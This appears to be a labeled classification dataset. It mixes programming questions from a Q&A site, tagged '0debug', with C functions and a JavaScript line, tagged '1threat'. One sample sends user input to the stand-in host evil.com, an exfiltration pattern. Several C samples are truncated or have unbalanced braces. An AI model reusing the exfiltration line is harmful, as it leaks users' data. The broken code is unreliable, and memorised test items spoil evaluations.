R Vector Values Overwrite in Function : <p><strong>specific problem i'm solving:</strong> </p> <p>Create a character vector with length of number-of-rows-of-iris-dataset, such that, each element gets a character value – “greater than 5″ if the corresponding ‘Sepal.Length’ > 5, else it should get “lesser than 5″.</p> <p>This works: </p> <pre><code>char_vect &lt;- c(seq(1:nrow(iris))) for (i in char_vect) { if (iris$Sepal.Length[i] &gt; 5) { char_vect[i] &lt;- ("greater than 5") } else { char_vect[i] &lt;- ("less than 5") } } </code></pre> <p>But for some reason, if I define char_vect as follows, I get funny responses:</p> <pre><code>char_vect &lt;- iris$Sepal.Length for (i in char_vect) { if (iris$Sepal.Length[i] &gt; 5) { char_vect[i] &lt;- ("greater than 5") } else { char_vect[i] &lt;- ("less than 5") } } </code></pre> <p>Although the vectors I'm starting off with are different in the two cases, the function is the same and is overwriting the original vectors so shouldn't their values be irrelevant as long as their lengths are equivalent?</p> <p>When I look at what the output of the second option is, I'm even more confused since it looks like some the function overwrote some of the original values but not all of them ... </p> <p>My hunch is that this has to do with the fact that option 1 defines char_vect as integers while option 2 is numeric? But I don't understand why a comparison operator wouldn't work equally on integers and numeric. Looking at the output of option 2, there also seems to be integers that the function did not work on. </p> <p>much thank from a R novice!</p>
0debug
Getting an unexpected T_STRING when trying to retrieve data and store as variable : <p>I am unable to make $firstname equal to $row['Firstname']. The same with Lastname too.</p> <pre><code>$locationsQuery='select Firstname, Lastname, from locations where username=$username; $results = sqlsrv_query( $conn, $locationsQuery, array($desiredusername)); while($row = sqlsrv_fetch_array($results)) { $firstname = $row['Firstname']; $lastname = $row['Lastname']; } </code></pre>
0debug
static int write_manifest(AVFormatContext *s, int final) { DASHContext *c = s->priv_data; AVIOContext *out; char temp_filename[1024]; int ret, i; const char *proto = avio_find_protocol_name(s->filename); int use_rename = proto && !strcmp(proto, "file"); static unsigned int warned_non_file = 0; AVDictionaryEntry *title = av_dict_get(s->metadata, "title", NULL, 0); if (!use_rename && !warned_non_file++) av_log(s, AV_LOG_ERROR, "Cannot use rename on non file protocol, this may lead to races and temporary partial files\n"); snprintf(temp_filename, sizeof(temp_filename), use_rename ? "%s.tmp" : "%s", s->filename); ret = s->io_open(s, &out, temp_filename, AVIO_FLAG_WRITE, NULL); if (ret < 0) { av_log(s, AV_LOG_ERROR, "Unable to open %s for writing\n", temp_filename); return ret; } avio_printf(out, "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n"); avio_printf(out, "<MPD xmlns:xsi=\"http: "\txmlns=\"urn:mpeg:dash:schema:mpd:2011\"\n" "\txmlns:xlink=\"http: "\txsi:schemaLocation=\"urn:mpeg:DASH:schema:MPD:2011 http: "\tprofiles=\"urn:mpeg:dash:profile:isoff-live:2011\"\n" "\ttype=\"%s\"\n", final ? "static" : "dynamic"); if (final) { avio_printf(out, "\tmediaPresentationDuration=\""); write_time(out, c->total_duration); avio_printf(out, "\"\n"); } else { int64_t update_period = c->last_duration / AV_TIME_BASE; char now_str[100]; if (c->use_template && !c->use_timeline) update_period = 500; avio_printf(out, "\tminimumUpdatePeriod=\"PT%"PRId64"S\"\n", update_period); avio_printf(out, "\tsuggestedPresentationDelay=\"PT%"PRId64"S\"\n", c->last_duration / AV_TIME_BASE); if (!c->availability_start_time[0] && s->nb_streams > 0 && c->streams[0].nb_segments > 0) { format_date_now(c->availability_start_time, sizeof(c->availability_start_time)); } if (c->availability_start_time[0]) avio_printf(out, "\tavailabilityStartTime=\"%s\"\n", c->availability_start_time); format_date_now(now_str, sizeof(now_str)); if (now_str[0]) avio_printf(out, "\tpublishTime=\"%s\"\n", now_str); if (c->window_size && c->use_template) { avio_printf(out, "\ttimeShiftBufferDepth=\""); write_time(out, c->last_duration * c->window_size); avio_printf(out, "\"\n"); } } avio_printf(out, "\tminBufferTime=\""); write_time(out, c->last_duration * 2); avio_printf(out, "\">\n"); avio_printf(out, "\t<ProgramInformation>\n"); if (title) { char *escaped = xmlescape(title->value); avio_printf(out, "\t\t<Title>%s</Title>\n", escaped); av_free(escaped); } avio_printf(out, "\t</ProgramInformation>\n"); if (c->window_size && s->nb_streams > 0 && c->streams[0].nb_segments > 0 && !c->use_template) { OutputStream *os = &c->streams[0]; int start_index = FFMAX(os->nb_segments - c->window_size, 0); int64_t start_time = av_rescale_q(os->segments[start_index]->time, s->streams[0]->time_base, AV_TIME_BASE_Q); avio_printf(out, "\t<Period id=\"0\" start=\""); write_time(out, start_time); avio_printf(out, "\">\n"); } else { avio_printf(out, "\t<Period id=\"0\" start=\"PT0.0S\">\n"); } for (i = 0; i < c->nb_as; i++) { if ((ret = write_adaptation_set(s, out, i)) < 0) return ret; } avio_printf(out, "\t</Period>\n"); if (c->utc_timing_url) avio_printf(out, "\t<UTCTiming schemeIdUri=\"urn:mpeg:dash:utc:http-xsdate:2014\" value=\"%s\"/>\n", c->utc_timing_url); avio_printf(out, "</MPD>\n"); avio_flush(out); ff_format_io_close(s, &out); if (use_rename) return avpriv_io_move(temp_filename, s->filename); return 0; }
1threat
void qpci_memwrite(QPCIDevice *dev, void *data, const void *buf, size_t len) { uintptr_t addr = (uintptr_t)data; g_assert(addr >= QPCI_PIO_LIMIT); dev->bus->memwrite(dev->bus, addr, buf, len); }
1threat
How to read this attributes in this xml using PHP? : <p><a href="http://idragonlk.com/channels.xml" rel="nofollow noreferrer">http://idragonlk.com/channels.xml</a></p> <p>This is the xml.</p> <p>What wanna be is read this channel and programs in a loop.</p> <pre><code>&lt;?php $xmlDoc = new DOMDocument(); $xmlDoc-&gt;load("channels.xml"); $xmlObject = $xmlDoc-&gt;getElementsByTagName('channel'); $itemCount = $xmlObject-&gt;length; for ($i=0; $i &lt; $itemCount; $i++){ $title = $xmlObject-&gt;item($i)-&gt;getElementsByTagName('display-name')-&gt;item(0)-&gt;childNodes-&gt;item(0)-&gt;nodeValue; print "Finished Item $title n&lt;br/&gt;"; } ?&gt; </code></pre> <p>I have tried this. But it prints the txt values. I'm unable to get attribute values.</p> <p>Wanna get value of</p> <p>channel id=' '</p> <p>lang='' of display-name</p> <p>icon src='' value</p> <p>program start ='' value</p> <p>program stop = '' value</p> <p>program channel = '' value</p> <p>in program rating value</p> <p>Plz can anyone help me?</p>
0debug
Lombok Requires Annotation Processing : <p>I'm using Android Studio 2.2 Preview 7, and the Lombok plugin suddenly started saying: <code>Annotation processing seems to be disabled for the project X</code>, and providing a link to settings.</p> <p><a href="https://i.stack.imgur.com/nJG3T.png" rel="noreferrer"><img src="https://i.stack.imgur.com/nJG3T.png" alt="enter image description here"></a></p> <p>Clicking on the notification does not take me to the right place.</p> <p>What is the fix for this?</p>
0debug
Evaluating bash "&&" exit codes behaviour : <p>We had a recent experience with bash that even we found a solution, it keeps twisting my mind. How does bash evaluates the <code>&amp;&amp;</code> expression in terms of return codes?</p> <p>Executing this script, that should fail because <code>myrandomcommand</code> does not exist:</p> <pre><code>#!/bin/bash set -e echo "foo" myrandomcommand echo "bar" </code></pre> <p>The result is the expected one:</p> <pre><code>~ &gt; bash foo.sh foo foo.sh: line 6: myrandomcommand: command not found [exited with 127] ~ &gt; echo $? 127 </code></pre> <p>But changing slightly the code using the <code>&amp;&amp;</code> expression:</p> <pre><code>#!/bin/bash set -e echo "foo" myrandomcommand &amp;&amp; ls echo "bar" </code></pre> <p>The <code>ls</code> statement is not executed (since the first statement fails and does not evaluate the second statement), but the script behaves very different:</p> <pre><code>~ &gt; bash foo.sh foo foo.sh: line 6: myrandomcommand: command not found bar # ('bar' is printed now) ~ &gt; echo $? 0 </code></pre> <p>We found out that using the expression between parenthesis <code>(myrandomcommand &amp;&amp; ls)</code> it works as expected (like the first example), but I would like to know why.</p>
0debug
Jupyter notebook xgboost import : <p>I have the problem below (I'm on a MAC)</p> <p>I can import xgboost from python2.7 or python3.6 with my Terminal but the thing is that I can not import it on my Jupyter notebook.</p> <pre><code>import xgboost as xgb </code></pre> <p>ModuleNotFoundError Traceback (most recent call last) in () ----> 1 import xgboost as xgb</p> <p>ModuleNotFoundError: No module named 'xgboost'</p> <p>Although I write : </p> <pre><code>!pip3 install xgboost </code></pre> <p>It prints that : </p> <p>Requirement already satisfied: xgboost in /Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/xgboost-0.6-py3.6.egg Requirement already satisfied: numpy in /Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages (from xgboost) Requirement already satisfied: scipy in /Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages (from xgboost)</p> <p>Help please I searched everywhere :(</p>
0debug
Opening files with the name of a variable : <p>I am using a Markov chain. When the chain arrives at a particular state, two files (a .png and an .mp3) need to open.</p> <p><code>s</code> is the current state of the chain, an integer from 1-59. </p> <p>I can't seem to find how to open the file with the same number as 's'.</p> <p>I'm sure it has something to do with <code>%str</code> formatting, but I can't seem to implement it.</p> <pre><code>img = Image.open('/.../.../s.png') img.show() </code></pre>
0debug
Sql query to delete all tables and their data from a specific schema : > I need to write an SQL query to delete all tables and their data from a specific schema > > For example in my database I have tables with schema name dws6 and I want a script in SQL that will delete all the tables with the schema dws6.
0debug
Single equal in different situation : <p>I have this code...</p> <pre><code>class Test { public static void main(String[] args) { Boolean mySuperBoolean = Boolean.FALSE; System.out.print("a"); if (mySuperBoolean = Boolean.TRUE) { System.out.print("b"); } System.out.print("c"); } } </code></pre> <p>I am new to Java, but I knew single equal (=) is used to assign. And double equals (==) is used to check if object is referred to the same location in memory. However, in this case I do not understand how the 'b' is being printed with a single equals, but I understand changing it to a double equals sign will not print it out</p>
0debug
int ff_mpv_lowest_referenced_row(MpegEncContext *s, int dir) { int my_max = INT_MIN, my_min = INT_MAX, qpel_shift = !s->quarter_sample; int my, off, i, mvs; if (s->picture_structure != PICT_FRAME || s->mcsel) goto unhandled; switch (s->mv_type) { case MV_TYPE_16X16: mvs = 1; break; case MV_TYPE_16X8: mvs = 2; break; case MV_TYPE_8X8: mvs = 4; break; default: goto unhandled; } for (i = 0; i < mvs; i++) { my = s->mv[dir][i][1]<<qpel_shift; my_max = FFMAX(my_max, my); my_min = FFMIN(my_min, my); } off = (FFMAX(-my_min, my_max) + 63) >> 6; return FFMIN(FFMAX(s->mb_y + off, 0), s->mb_height-1); unhandled: return s->mb_height-1; }
1threat
Need your help in running command in BASH : Please help to resolve this problem. Data in text file. -O BNU-ESM-pr-Historical-19560101-19601231.nc https://dataserver.nccs.nasa.gov/thredds/ncss/bypass/NEX-GDDP/bcsd/historical/r1i1p1/pr/BNU-ESM.ncml?var=pr&north=55&west=72&east=136&south=16&horizStride=1&time_start=1956-01-01T12%3A00%3A00Z&time_end=1960-12-31T12%3A00%3A00Z&timeStride=1 I am Using this code for .sh file #!/bin/bash while read -r line; do wget $line; done < pr_china.txt Result of the command in BASH: ahmad@ahmad:/mnt/c/script_sh_files$ ./pr_china.sh --2018-12-29 23:10:30-- https://dataserver.nccs.nasa.gov/thredds/ncss/bypass/NEX-GDDP/bcsd/historical/r1i1p1/pr/BNU-ESM.ncml?var=pr&north=55&west=72&east=136&south=16&horizStride=1&time_start=1956-01-01T12%3A00%3A00Z&time_end=1960-12-31T12%3A00%3A00Z&timeStride=1%0D Resolving dataserver.nccs.nasa.gov (dataserver.nccs.nasa.gov)... 2001:4d0:2418:2800::a99a:9229, 169.154.146.41 Connecting to dataserver.nccs.nasa.gov (dataserver.nccs.nasa.gov)|2001:4d0:2418:2800::a99a:9229|:443... connected. HTTP request sent, awaiting response... 400 Bad Request 2018-12-29 23:10:33 ERROR 400: Bad Request.
0debug
How to create GUID in angular-2? : <p>in my application i need to create GUID, that GUID will be work as cookies, so anybody knows how to create GUID in angular-2/typescript or using any angular2 dependency/library.</p>
0debug
Why use/develop Guice, when You have Spring and Dagger? : <p>To my knowledge, Dagger does generate code, while Guice and Spring rely on runtime processing, thus Dagger works faster, but requires more work on programmer side. Because of performance edge it's good for mobile (Android) development.</p> <p>However, when we are left with Guice and Spring, the latter has lots of integrations. What's the point of developing/using Guice, if we can use Spring Framework (that does basically same thing, but offers ex. easier database access)?</p> <p>Isn't Google trying to reinvent wheel by creating their own DI tool, instead of using (and possibly contributing to) Spring Framework?</p> <p>I am looking for decision tree, that guides through choosing DI tool.</p>
0debug
Match this string with a strong RegEx? : <p>I am new to regex and I need to create a pattern for this string. This should be somewhat easy but I can't make a regex that would only include this string as a match. Thanks in advance!</p> <p>Rule ^/sampleForExample/f/default.htm$ %{SCHEME}://www${TIER}.someadress.com/something/ [F=200]</p> <p>Rule ^/notTheSameSample/something/default.htm$ %{SCHEME}://www${TIER}.someaddress.com/something/educators/ [F=200]</p>
0debug
document.location = 'http://evil.com?username=' + user_input;
1threat
main.jsbundle, Foundation and Security missing in the project, causing error : <p>I've noticed that file <code>main.jsbundle</code> file is missing from the project and am not sure of how to fix it, should I delete the file / is there a step I can perform to fix it?</p> <p>Here is a screenshot of where it is in the project:</p> <p><a href="https://i.stack.imgur.com/5RKO0.png" rel="noreferrer"><img src="https://i.stack.imgur.com/5RKO0.png" alt="enter image description here"></a></p> <p><strong>Update:</strong></p> <p>Similar issue appears with following frameworks as well</p> <p><a href="https://i.stack.imgur.com/6az5G.png" rel="noreferrer"><img src="https://i.stack.imgur.com/6az5G.png" alt="enter image description here"></a></p>
0debug
def moddiv_list(nums1,nums2): result = map(lambda x, y: x % y, nums1, nums2) return list(result)
0debug
void bdrv_io_unplug(BlockDriverState *bs) { BlockDriver *drv = bs->drv; if (drv && drv->bdrv_io_unplug) { drv->bdrv_io_unplug(bs); } else if (bs->file) { bdrv_io_unplug(bs->file->bs); } }
1threat
static void add_entry(TiffEncoderContext *s, enum TiffTags tag, enum TiffTypes type, int count, const void *ptr_val) { uint8_t *entries_ptr = s->entries + 12 * s->num_entries; assert(s->num_entries < TIFF_MAX_ENTRY); bytestream_put_le16(&entries_ptr, tag); bytestream_put_le16(&entries_ptr, type); bytestream_put_le32(&entries_ptr, count); if (type_sizes[type] * count <= 4) { tnput(&entries_ptr, count, ptr_val, type, 0); } else { bytestream_put_le32(&entries_ptr, *s->buf - s->buf_start); check_size(s, count * type_sizes2[type]); tnput(s->buf, count, ptr_val, type, 0); } s->num_entries++; }
1threat
I am trying to filter out words that are "all capital letters" using regex in unix : <p>I am searching here in stack but all the answers are only for those who only has a particular caps. What I want is a word/s in all caps.</p> <p>For example: Abby ABBY aBbY SNOOPY doll</p> <p>The output must be: ABBY SNOOPY</p>
0debug
sum of duplicates in array where 2 row php : This is a section of my array: [1] => Array ( [quantity] => 2 [product_id] => 1 [option_id] => 22 ) [2] => Array ( [quantity] => 2 [product_id] => 2 [option_id] => 22 ) [3] => Array ( [quantity] => 3 [product_id] => 2 [option_id] => 22 ) [4] => Array ( [quantity] => 1 [product_id] => 2 [option_id] => 25 ) All I wish to do is, say where the product_id key of the array is the same (e.g. here 2) and the option_id key of the array is the same (e.g. here 22) I want to show this product_id and option_id once, but with combined values of the duplicate item....? e.g [1] => Array ( [quantity] => 2 [product_id] => 1 [option_id] => 22 ) [2] => Array ( [quantity] => 5 [product_id] => 2 [option_id] => 22 ) [3] => Array ( [quantity] => 1 [product_id] => 2 [option_id] => 25 )
0debug
Whats the difference between babel-preset-es2015 and babel-preset-env? : <p>I'm currently trying to understand about babel configuration, but got confused by <code>babel-preset-**</code>, there are many preset in babel, like <code>env</code>, <code>es2015</code>, <code>react</code> and others, I do understand that <code>babel-preset-es2015</code> is needed to transpile es2015 code to previous js code so it can be understood by most/older browser, what about <code>babel-preset-env</code>?</p> <p>What are the differences between those presets? Can one use <code>env</code> without using <code>es2015</code> or vice versa? and what are the cases when we need those two presets to be present on our project build system?</p> <p>Thank You.</p>
0debug
static int bitplane_decoding(uint8_t* plane, int width, int height, VC9Context *v) { int imode, x, y, i, code, use_vertical_tile, tile_w, tile_h; uint8_t invert, *planep = plane; int stride= width; invert = get_bits(&v->gb, 1); imode = get_vlc2(&v->gb, vc9_imode_vlc.table, VC9_IMODE_VLC_BITS, 2); av_log(v->avctx, AV_LOG_DEBUG, "Bitplane: imode=%i, invert=%i\n", imode, invert); switch (imode) { case IMODE_RAW: for (y=0; y<height; y++) { for (x=0; x<width; x++) planep[x] = (-get_bits(&v->gb, 1)); planep += stride; } invert=0; break; case IMODE_DIFF2: case IMODE_NORM2: if ((height*width) & 1) *(++planep) = get_bits(&v->gb, 1); for(i=0; i<(height*width)>>1; i++){ code = get_vlc2(&v->gb, vc9_norm2_vlc.table, VC9_NORM2_VLC_BITS, 2); *(++planep) = code&1; *(++planep) = code&2; } break; case IMODE_DIFF6: case IMODE_NORM6: use_vertical_tile= height%3==0 && width%3!=0; tile_w= use_vertical_tile ? 2 : 3; tile_h= use_vertical_tile ? 3 : 2; for(y= height%tile_h; y<height; y+=tile_h){ for(x= width%tile_w; x<width; x+=tile_w){ code = get_vlc2(&v->gb, vc9_norm6_vlc.table, VC9_NORM6_VLC_BITS, 2); planep[x + 0*stride]= (code>>0)&1; planep[x + 1 + 0*stride]= (code>>1)&1; if(use_vertical_tile){ planep[x + 0 + 1*stride]= (code>>2)&1; planep[x + 1 + 1*stride]= (code>>3)&1; planep[x + 0 + 2*stride]= (code>>4)&1; planep[x + 1 + 2*stride]= (code>>5)&1; }else{ planep[x + 2 + 0*stride]= (code>>2)&1; planep[x + 0 + 1*stride]= (code>>3)&1; planep[x + 1 + 1*stride]= (code>>4)&1; planep[x + 2 + 1*stride]= (code>>5)&1; } } } x= width % tile_w; decode_colskip(plane , x, height , stride, v); decode_rowskip(plane+x, width - x, height % tile_h, stride, v); break; case IMODE_ROWSKIP: decode_rowskip(plane, width, height, stride, v); break; case IMODE_COLSKIP: decode_colskip(plane, width, height, stride, v); break; default: break; } if (imode == IMODE_DIFF2 || imode == IMODE_DIFF6) { planep = plane; planep[0] ^= invert; for (x=1; x<width; x++) planep[x] ^= planep[x-1]; for (y=1; y<height; y++) { planep += stride; planep[0] ^= planep[-stride]; for (x=1; x<width; x++) { if (planep[x-1] != planep[x-stride]) planep[x] ^= invert; else planep[x] ^= planep[x-1]; } } } else if (invert) { planep = plane; for (x=0; x<width*height; x++) planep[x] = !planep[x]; } return 0; }
1threat
Set Value to String [] object : <p>I have this string that contain month. I want to save code of the month. Example if I saved month January, it will save code of the month "1". How do I do set the value of every month.</p> <pre><code>String [] month= {"January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"}; </code></pre>
0debug
largest number code to including negative numbers : I was working is on this code to find the largest number from numbers entered by a user. What do I need to add to include largest negative numbers? say if a user enters -3 and -1, to get the outcome of -1. Thank you. m = 0 finished = False while not finished: print('Enter a number (0 to finish): ', end = '') s = input() num = int(s) if num != 0: if num > m: m = num else: finished = True print(str(m))
0debug
Parse error: syntax error, unexpected ',' in : <p>I just started learning PHP language. Here I have,</p> <pre><code>Parse error: syntax error, unexpected ',' in /Applications/XAMPP/xamppfiles/htdocs/testweb/proses_daftar.php on line 7 </code></pre> <p>and this is my proses_daftar.php</p> <pre><code> &lt;?php session_start(); include('config/koneksi.php'); if(isset($_POST['daftar'])) { $name = mysqli_real_escape_string(($con,$_POST['name'])); $username = mysqli_real_escape_string(htmlentities($_POST['username'])); $email = mysqli_reali_escape_string(htmlentities($_POST['email'])); $password = mysql_reali_escape_string(htmlentities($_POST['password'])); $retype_password = mysqli_real_escape_string(htmlentities($_POST['retype_password'])); </code></pre> <p>where is my fault?</p>
0debug
Why is this python attribute error happening in my code? : This is my python file (myfile.py). title = "The meaning of life" #myfile.py And its present in 'learning_python' directory.[This is the error which I get.][1] ` [1]: https://i.stack.imgur.com/WrATJ.png
0debug
Is there a way to declare all the values in the list as a list individually in python : <p>I have a list a[i,j,k]. Out of this, I need to iterate through list 'a' and declare each of the list items as a list separately. </p> <pre><code> i[] j[] k[] </code></pre> <p>Is there a way to do this in python?</p>
0debug
Admin or control panel : <p>I can do fine apps or websites, but there is a little use of them without control system.</p> <p>How can I make an admin panel or how it's called. So that the user can add required components without coding. Just with some buttons and text areas, like in Wordpress.</p> <p>I don't know how or what should I search on the Internet on this topic.</p> <p>I know HTML/ JS / VUE basics / SASS. How can I use this knowledge to make a control system of my websites or apps. Or probably I should learn something new?</p> <p>Please, advise how to reach my goal.</p>
0debug
C++ Operator Overloading in Class with Const Members? : <pre><code>class SomeClass { int someNum; const int someConst; public: SomeClass() : someNum(12), someConst(15) { } SomeClass operator+(int num) { SomeClass newSomeClass; newSomeClass.someNum += num; return newSomeClass; } }; int main() { SomeClass someClass; SomeClass newClass; newClass = someClass + 3; } </code></pre> <p>I don't understand why the above doesn't compile, but does so when the const related code is removed.</p>
0debug
Pass value from JavaScript to code behind C# : I need to pass the array value from code behind asp.net C#. <script type="text/javascript" src="https://www.gstatic.com/charts/loader.js"></script> <script type="text/javascript"> google.charts.load('current', {'packages':['corechart']}); google.charts.setOnLoadCallback(drawChart); function drawChart() { var data = google.visualization.arrayToDataTable([ ['Task', 'Hours per Day'], ['Work', 11], ['Eat', 2], ['Commute', 2], ['Watch TV', 2], ['Sleep', 7] ]); var options = { title: 'My Daily Activities' }; var chart = new google.visualization.PieChart(document.getElementById('piechart')); chart.draw(data, options); } </script> Since the data changes dynamically I need to pass the value.
0debug
void openrisc_cpu_do_interrupt(CPUState *cs) { #ifndef CONFIG_USER_ONLY OpenRISCCPU *cpu = OPENRISC_CPU(cs); CPUOpenRISCState *env = &cpu->env; env->epcr = env->pc; if (env->flags & D_FLAG) { env->flags &= ~D_FLAG; env->sr |= SR_DSX; env->epcr -= 4; if (cs->exception_index == EXCP_SYSCALL) { env->epcr += 4; tlb_flush(cs); env->esr = env->sr; env->sr &= ~SR_DME; env->sr &= ~SR_IME; env->sr |= SR_SM; env->sr &= ~SR_IEE; env->sr &= ~SR_TEE; env->tlb->cpu_openrisc_map_address_data = &cpu_openrisc_get_phys_nommu; env->tlb->cpu_openrisc_map_address_code = &cpu_openrisc_get_phys_nommu; if (cs->exception_index > 0 && cs->exception_index < EXCP_NR) { env->pc = (cs->exception_index << 8); cpu_abort(cs, "Unhandled exception 0x%x\n", cs->exception_index); #endif cs->exception_index = -1;
1threat
Way to create multiline comments in Bash? : <p>I have recently started studying shell script and I'd like to be able to comment out a set of lines in a shell script. I mean like it is in case of C/Java :</p> <pre><code>/* comment1 comment2 comment3 */` </code></pre> <p>How could I do that?</p>
0debug
How to read/parse Content from OkNegotiatedContentResult? : <p>In one of my API actions (<code>PostOrder</code>) I <em>may</em> be consuming another action in the API (<code>CancelOrder</code>). Both return a JSON formatted <code>ResultOrderDTO</code> type, set as a <code>ResponseTypeAttribute</code> for both actions, which looks like this:</p> <pre><code>public class ResultOrderDTO { public int Id { get; set; } public OrderStatus StatusCode { get; set; } public string Status { get; set; } public string Description { get; set; } public string PaymentCode { get; set; } public List&lt;string&gt; Issues { get; set; } } </code></pre> <p>What I need is reading/parsing the <code>ResultOrderDTO</code> response from <code>CancelOrder</code>, so that I can use it as response for <code>PostOrder</code>. This is what my <code>PostOrder</code> code looks like:</p> <pre><code>// Here I call CancelOrder, another action in the same controller var cancelResponse = CancelOrder(id, new CancelOrderDTO { Reason = CancelReason.Unpaid }); if (cancelResponse is OkNegotiatedContentResult&lt;ResultOrderDTO&gt;) { // Here I need to read the contents of the ResultOrderDTO } else if (cancelResponse is InternalServerErrorResult) { return ResponseMessage(Request.CreateResponse(HttpStatusCode.InternalServerError, new ResultError(ErrorCode.InternalServer))); } </code></pre> <p>When I use the debugger, I can see that the <code>ResultOrderDTO</code> it is there <em>somewhere</em> in the response (looks like the <code>Content</code>) as shown in the pic below:</p> <p><a href="https://i.stack.imgur.com/dqXJT.png" rel="noreferrer"><img src="https://i.stack.imgur.com/dqXJT.png" alt="Debugger"></a></p> <p>but <code>cancelResponse.Content</code> does not exist (or at least I don't have access to it before I cast my response to something else) and I have no idea about how to read/parse this <code>Content</code>. Any idea?</p>
0debug
React-native Timeout when connecting to remote debugger in windows : <p>I am new to React-Native and android app development as a whole. While i try to run remote debugger in Android Emulator (Pixel 2 phone), I get the following error in the emulator: <a href="https://i.stack.imgur.com/aoisd.png" rel="noreferrer"><img src="https://i.stack.imgur.com/aoisd.png" alt="Error on Emulator"></a></p> <p>Then after, even if I stop remote debugging, the application won't run on the emulator (i.e. nothing is rendered into the emulator screen). I need to run the project again. </p> <p>Following is the auto-generated debugger URL: <a href="http://10.0.2.2:8081/debugger-ui" rel="noreferrer">http://10.0.2.2:8081/debugger-ui</a></p> <p>How can I Fix this problem? </p>
0debug
NullPointerException in Google Maps Fragmentactivity : <p>I want to show an alertbox in my MapsActivity, if I enter a geofence. I can detect the "enter", and i can also trigger a notification, but when i want to create an alert box I get this error: </p> <pre><code> 01-15 20:10:08.443 17477-17797/com.example.labsw.bugavo E/AndroidRuntime: FATAL EXCEPTION: IntentService[GeofenceReceiver] Process: com.example.labsw.bugavo, PID: 17477 java.lang.NullPointerException: Attempt to invoke virtual method 'android.content.Context android.content.Context.getApplicationContext()' on a null object reference at android.content.ContextWrapper.getApplicationContext(ContextWrapper.java:107) at com.example.labsw.bugavo.navigation.MapsActivity.triggerAlertBoxOnFenceEntry(MapsActivity.java:669) at com.example.labsw.bugavo.navigation.geofencing.GeofenceReceiver.onHandleIntent(GeofenceReceiver.java:95) at android.app.IntentService$ServiceHandler.handleMessage(IntentService.java:66) at android.os.Handler.dispatchMessage(Handler.java:102) at android.os.Looper.loop(Looper.java:148) at android.os.HandlerThread.run(HandlerThread.java:61) </code></pre> <p>It seems like i dont get the right context, but i tried </p> <pre><code> AlertDialog.Builder alertbox = new AlertDialog.Builder(getApplicationContext()); </code></pre> <p>and </p> <pre><code> AlertDialog.Builder alertbox = new AlertDialog.Builder(getBaseContext); </code></pre> <p>also, but nothing works. </p> <p>Where I detect the "enter" and trigger the method for the alertbox (GeofenceReciever.java):</p> <pre><code>public GeofenceReceiver() { super("GeofenceReceiver"); } MapsActivity mapsActivity = new MapsActivity(); @Override protected void onHandleIntent(Intent intent) { Log.i(TAG, "onHandleIntent: GeofenceReceiver called"); GeofencingEvent geoEvent = GeofencingEvent.fromIntent(intent); if (geoEvent.hasError()) { Log.i(TAG, "Error GeofenceReceiver.onHandleIntent"); } else { Log.i(TAG, "GeofenceReceiver : Transition -&gt; " + geoEvent.getGeofenceTransition()); int transitionType = geoEvent.getGeofenceTransition(); geofenceId = 0; if (transitionType == Geofence.GEOFENCE_TRANSITION_ENTER) { List&lt;Geofence&gt; triggerList = geoEvent.getTriggeringGeofences(); for (Geofence geofence : triggerList) { Log.i(TAG, "onHandleIntent: geofence id = " + geofence.getRequestId()); CustomGeofence sg = GeofenceAndStationsStore.getInstance() .getSimpleGeofences().get(geofence.getRequestId()); geofenceId = sg.getStationId(); String transitionName = ""; switch (transitionType) { case Geofence.GEOFENCE_TRANSITION_ENTER: transitionName = "enter"; break; } String date = DateFormat.format("yyyy-MM-dd hh:mm:ss", new Date()).toString(); GeofenceNotification geofenceNotification = new GeofenceNotification( this); geofenceNotification .displayNotification(sg, transitionType); } } if (transitionType == Geofence.GEOFENCE_TRANSITION_ENTER) { Intent newintent = new Intent(this, MapsActivity.class); arrivedAtStation = true; if(geofenceId != 0) { newintent.putExtra("stationId", geofenceId); } else { Log.i(TAG, "onHandleIntent: irgendwas stimmt nicht.. keine stationId von geofence vorhanden"); } newintent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); startActivity(newintent); Log.i(TAG, "onHandleIntent: TRIGGER ALERT DIALOG"); mapsActivity.triggerAlertBoxOnFenceEntry(); } } } </code></pre> <p>}</p> <p>and where i want to create the alertbox (MapsActivity.java):</p> <pre><code>public void triggerAlertBoxOnFenceEntry() { AlertDialog.Builder alertbox = new AlertDialog.Builder(MapsActivity.this); alertbox.setTitle("Station Erreicht!"); alertbox.setMessage("Sie haben die Station " + GeofenceReceiver.geofenceId + " erreicht! \nWollen Sie Die Fragerunde starten?\""); alertbox.setPositiveButton("Ja", null); alertbox.setNegativeButton("Nein", null); alertbox.create(); alertbox.show(); System.out.println("Sie haben die Station " + GeofenceReceiver.geofenceId + " erreicht! \nWollen Sie Die Fragerunde starten?"); GeofenceReceiver.arrivedAtStation = false; } </code></pre> <p>I also want to start a new Activity out of that alertbox (which doesn´t work either, i guess its because of the wrong context too) It would be awesome if you guys could help me out. </p>
0debug
Formulario Angular 7 en producción : estoy tratando de poner en funcionamiento un formulario que me envia datos al correo con nodemailer en localhost:3000 me funciona bien pero al momento de cargar mi proyecto en el servidor con godaddy no logro ponerlo a funcionar este es mi código una app en la raiz del proyecto llamada nodeMensajeria/src/node modules, app.js y configMensaje.js [mira la raiz de mi proyecto][1] app.js const express = require('express'); const cors = require('cors'); const bodyParser = require('body-parser'); const configMensaje = require('./configMensaje'); const app = express(); app.use(bodyParser.json()); app.use(cors()) app.post('/formulario', (req, res) => { configMensaje(req.body); res.status(200).send(); }) app.listen(3000, () => { console.log('Servidor corriendo') }); configMensaje.js const nodemailer = require('nodemailer'); module.exports = (formulario) => { var transporter = nodemailer.createTransport({ service: 'gmail', auth: { user: 'correoorigen', pass: 'contraseña' } }); const mailOptions = { from: `"${formulario.nombre} 👻" <${formulario.email}>`, to: 'correodestino', // subject: formulario.asunto, html: ` <strong>Nombre:</strong> ${formulario.nombre} <br/> <strong>Asunto:</strong> ${formulario.asunto} <br/> <strong>E-mail:</strong> ${formulario.email} <br/> <strong>Número de contacto:</strong> ${formulario.contacto} <br/> <strong>Mensaje:</strong> ${formulario.mensaje} ` }; transporter.sendMail(mailOptions, function (err, info) { if (err) console.log(err) else console.log(info); }); } el servicio message.service.ts import { Injectable } from '@angular/core'; import { HttpClient } from '@angular/common/http' @Injectable({ providedIn: 'root' }) export class MessageService { constructor(private _http: HttpClient) { } sendMessage(body) { return this._http.post('http://107.180.59.131:3000/formulario', body); } 